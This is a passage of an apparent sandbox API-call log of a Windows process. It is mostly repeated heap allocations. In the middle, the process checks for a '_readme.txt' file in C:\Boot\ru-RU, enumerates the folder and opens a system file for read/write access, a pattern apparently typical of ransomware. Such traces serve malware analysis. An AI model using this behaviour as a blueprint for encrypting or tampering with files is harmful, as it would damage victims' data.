hHeap=0x5b0000) returned 1 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.572] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0122.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.572] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.572] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.572] PathFindFileNameW (pszPath="") returned="" [0122.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.572] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.572] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.572] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.573] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.573] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0122.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.573] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0122.573] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.573] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.573] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.573] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0122.573] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.573] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c6e8f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.573] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned=".txt" [0122.573] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c6e8f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.573] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.574] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.574] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.576] HeapFree (in: 